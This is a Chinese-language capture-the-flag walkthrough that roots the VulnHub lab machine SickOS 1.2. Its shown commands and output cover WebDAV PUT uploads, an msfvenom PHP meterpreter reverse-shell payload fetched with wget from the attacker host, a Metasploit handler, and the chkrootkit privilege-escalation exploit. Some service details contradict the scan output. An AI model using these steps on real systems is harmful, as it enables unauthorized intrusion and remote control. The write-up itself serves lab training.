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如何取得SickOS 1.2 Flag

WBOY
WBOY轉載
2023-05-27 22:40:121601瀏覽

實驗環境如下: 

如何获取SickOS 1.2 Flag

#基本想法:

  • Network Scanning (網路掃描Netdiscover, Nmap)

  • Directory brute-force (網站目錄掃描  dirb)

  • Find HTTP Options: PUT (查找HTTP選項  curl)

  • Generate PHP Backdoor (產生php後門Msfvenom)

  • Upload and execute a backdoor(上傳php後門)

  • Reverse connection (Metasploit)

  • #Privilege Escalation (cron job)

  • Import python one-liner for proper TTY shell

  • Get Root access and capture the flag.

1)Network Scanning (網路掃描Netdiscover, Nmap)

root@host06:~# nmap -sV -T4 -A 192.168.32.169
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-21 19:19 CST
Nmap scan report for 192.168.32.169
Host is up (0.00085s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
| http-robots.txt: 5 disallowed entries
|_/ange1 /angel1 /nothing /tmp /uploads
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Dina
MAC Address: 00:0C:29:29:82:CE (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.85 ms 192.168.32.169

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.13 seconds

從上面掃描可以看出,主機只開放瞭如下服務與連接埠:

  • SSH (22/tcp) - OpenSSH 5.9p1 Debian

  • #HTTP (80/tcp) - Lighttpd 1.4.28

如何获取SickOS 1.2 Flag

2) 使用dirb 掃描網站目錄

root@host06:~# dirb http://192.168.32.169
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Fri Jun 21 19:25:51 2019
URL_BASE: http://192.168.32.169/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.32.169/ ----
+ http://192.168.32.169/index.php (CODE:200|SIZE:163)                                               
==> DIRECTORY: http://192.168.32.169/test/                                                          
                                                                                                    
---- Entering directory: http://192.168.32.169/test/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Fri Jun 21 19:26:01 2019
DOWNLOADED: 4612 - FOUND: 1

如何获取SickOS 1.2 Flag

使用niko 掃描時發現"The X-Content-Type-Options header is not set",

root@host06:~# nikto  -h http://192.168.32.169
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.32.169
+ Target Hostname:    192.168.32.169
+ Target Port:        80
+ Start Time:         2019-06-21 19:34:28 (GMT8)
---------------------------------------------------------------------------
+ Server: lighttpd/1.4.28
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21
+ 26545 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2019-06-21 19:37:21 (GMT8) (173 seconds)

再次使用curl -v -X OPTIONS  http:// 192.168.32.169/test測試,確認可以"put"等方法來進行注入

root@host06:~# curl -v -X OPTIONS http://192.168.32.169/test
* Expire in 0 ms for 6 (transfer 0x5588c3fe4d00)
*   Trying 192.168.32.169...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x5588c3fe4d00)
* Connected to 192.168.32.169 (192.168.32.169) port 80 (#0)
> OPTIONS /test HTTP/1.1
> Host: 192.168.32.169
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< DAV: 1,2
< MS-Author-Via: DAV
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
< Location: http://192.168.32.169/test/
< Content-Length: 0
< Date: Fri, 21 Jun 2019 15:16:48 GMT
< Server: lighttpd/1.4.28
<
* Connection #0 to host 192.168.32.169 left intact

使用curl的put方法上傳一個檔案curl -v -X PUT -d 'I am a boy'  http:// 192.168.32.169/test/test.txt

root@host06:~#  curl -v -X PUT -d &#39;I am a boy&#39;  http://192.168.32.169/test/test.txt
* Expire in 0 ms for 6 (transfer 0x560c4ca07d00)
*   Trying 192.168.32.169...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x560c4ca07d00)
* Connected to 192.168.32.169 (192.168.32.169) port 80 (#0)
> PUT /test/test.txt HTTP/1.1
> Host: 192.168.32.169
> User-Agent: curl/7.64.0
> Accept: */*
> Content-Length: 10
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 10 out of 10 bytes
< HTTP/1.1 201 Created
< Content-Length: 0
< Date: Fri, 21 Jun 2019 15:22:00 GMT
< Server: lighttpd/1.4.28
<
* Connection #0 to host 192.168.32.169 left intact

如何获取SickOS 1.2 Flag

使用相同的方法可以上傳一個php呼叫shell指令的函數 curl -X PUT -d 'dc5b70c3844d5d11922e025998269894 put01.php  (備註:這裡連接埠使用443目的是繞過防火牆)

root@host06:~# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.32.10 lport=443 -f raw > put01.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1113 bytes

上傳檔案方法1:利用原來上傳的呼叫系統繞過防火牆cmd指令方法

啟動一個Python暫存Web伺服器,以提供用戶端下載內容。 python -m SimpleHTTPServer  443 (備註:此使用443埠繞過防火牆)

並且執行: curl "http://192.168.32.169/test/cmd.php?cmd=wget http://192.168. 32.10:443/put01.php" 下載put01.php檔案

root@host06:~# python -m SimpleHTTPServer  443
Serving HTTP on 0.0.0.0 port 443 ...
192.168.32.169 - - [21/Jun/2019 20:09:25] "GET /put01.php HTTP/1.1" 200 -

上傳檔案方法2: 使用curl --upload-file

root@host06:~# curl --upload-file put02.php -v --url http://192.168.32.169/test/put02.php  -0 --http1.0
* Expire in 0 ms for 6 (transfer 0x55e395728d00)
*   Trying 192.168.32.169...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x55e395728d00)
* Connected to 192.168.32.169 (192.168.32.169) port 80 (#0)
> PUT /test/put02.php HTTP/1.0
> Host: 192.168.32.169
> User-Agent: curl/7.64.0
> Accept: */*
> Content-Length: 111
>
* We are completely uploaded and fine
* HTTP 1.0, assume close after body
< HTTP/1.0 201 Created
< Content-Length: 0
< Connection: close
< Date: Sat, 22 Jun 2019 00:12:16 GMT
< Server: lighttpd/1.4.28
<
* Closing connection 0

啟動msfconsole 並設定如下相關參數,然後執行curl "http://192.168.32.169/test/put01.php"(即查執行剛上傳的shell)

root@host06:~# msfconsole
                                                  


                 _---------.
             .&#39; #######   ;."
  .---,.    ;@             @@`;   .---,..
." @@@@@&#39;.,&#39;@@            @@@@@&#39;,.&#39;@@@@ ".
&#39;-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;
   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .&#39;
     "--&#39;.@@@  -.@        @ ,&#39;-   .&#39;--"
          ".@&#39; ; @       @ `.  ;&#39;
            |@@@@ @@@     @    .
             &#39; @@@ @@   @@    ,
              `.@@@@    @@   .
                &#39;,@@     @   ;           _____________
                 (   3 C    )     /|___ / Metasploit! \
                 ;@&#39;. __*__,."    \|--- \_____________/
                  &#39;(.,...."/




       =[ metasploit v5.0.28-dev                          ]
+ -- --=[ 1897 exploits - 1068 auxiliary - 329 post       ]
+ -- --=[ 547 payloads - 44 encoders - 10 nops            ]
+ -- --=[ 2 evasion                                       ]


msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.32.10
lhost => 192.168.32.10
msf5 exploit(multi/handler) > set lport 443
lport => 443
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.32.10:443
[*] Sending stage (38247 bytes) to 192.168.32.169
[*] Meterpreter session 1 opened (192.168.32.10:443 -> 192.168.32.169:49617) at 2019-06-21 20:16:00 +0800

meterpreter > shell
Process 28313 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don&#39;t have to run the `crontab&#39;
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.


SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin


# m h dom mon dow user    command
17 *    * * *    root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
chkrootkit -V
chkrootkit version 0.49
^Z
Background channel 0? [y/N]  y
meterpreter >
Background session 1? [y/N]  y
[-] Unknown command: y.

傳回msfconsole控制台,檢查chkroot的漏洞,並利用此漏洞進行** *測試

msf5 exploit(multi/handler) > search  chkroot
Matching Modules
================
   #  Name                           Disclosure Date  Rank    Check  Description
   -  ----                           ---------------  ----    -----  -----------
   0  exploit/unix/local/chkrootkit  2014-06-04       manual  Yes    Chkrootkit Local Privilege Escalation


msf5 exploit(multi/handler) > use exploit/unix/local/chkrootkit
msf5 exploit(unix/local/chkrootkit) > show options

Module options (exploit/unix/local/chkrootkit):

   Name        Current Setting       Required  Description
   ----        ---------------       --------  -----------
   CHKROOTKIT  /usr/sbin/chkrootkit  yes       Path to chkrootkit
   SESSION                           yes       The session to run this module on.

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf5 exploit(unix/local/chkrootkit) > set session 1
session => 1
msf5 exploit(unix/local/chkrootkit) > set lport 8080
lport => 8080

重新進行***測試

msf5 exploit(unix/local/chkrootkit) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.


[*] Started reverse TCP double handler on 192.168.32.10:8080
msf5 exploit(unix/local/chkrootkit) > [!] Rooting depends on the crontab (this could take a while)
[*] Payload written to /tmp/update
[*] Waiting for chkrootkit to run via cron...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo tnDOwZeHQZJPT8fE;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "tnDOwZeHQZJPT8fE\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 2 opened (192.168.32.10:8080 -> 192.168.32.169:33664) at 2019-06-21 19:01:31 +0800
[+] Deleted /tmp/update

msf5 exploit(unix/local/chkrootkit) > sessions -l

Active sessions
===============

  Id  Name  Type                   Information             Connection
  --  ----  ----                   -----------             ----------
  1         meterpreter php/linux  www-data (33) @ ubuntu  192.168.32.10:443 -> 192.168.32.169:49613 (192.168.32.169)
  2         shell cmd/unix                                 192.168.32.10:8080 -> 192.168.32.169:33664 (192.168.32.169)


msf5 exploit(unix/local/chkrootkit) > sessions -i 2
[*] Starting interaction with 2...


whoami
root
id
uid=0(root) gid=0(root) groups=0(root)

python -c &#39;import pty;pty.spawn("/bin/bash")&#39;
root@ubuntu:~# cd /root
cd /root
root@ubuntu:~# ls
ls
304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz  chkrootkit-0.49
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt                     newRule
root@ubuntu:~# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.
Thanks for giving this try.
@vulnhub: Thanks for hosting this UP!.

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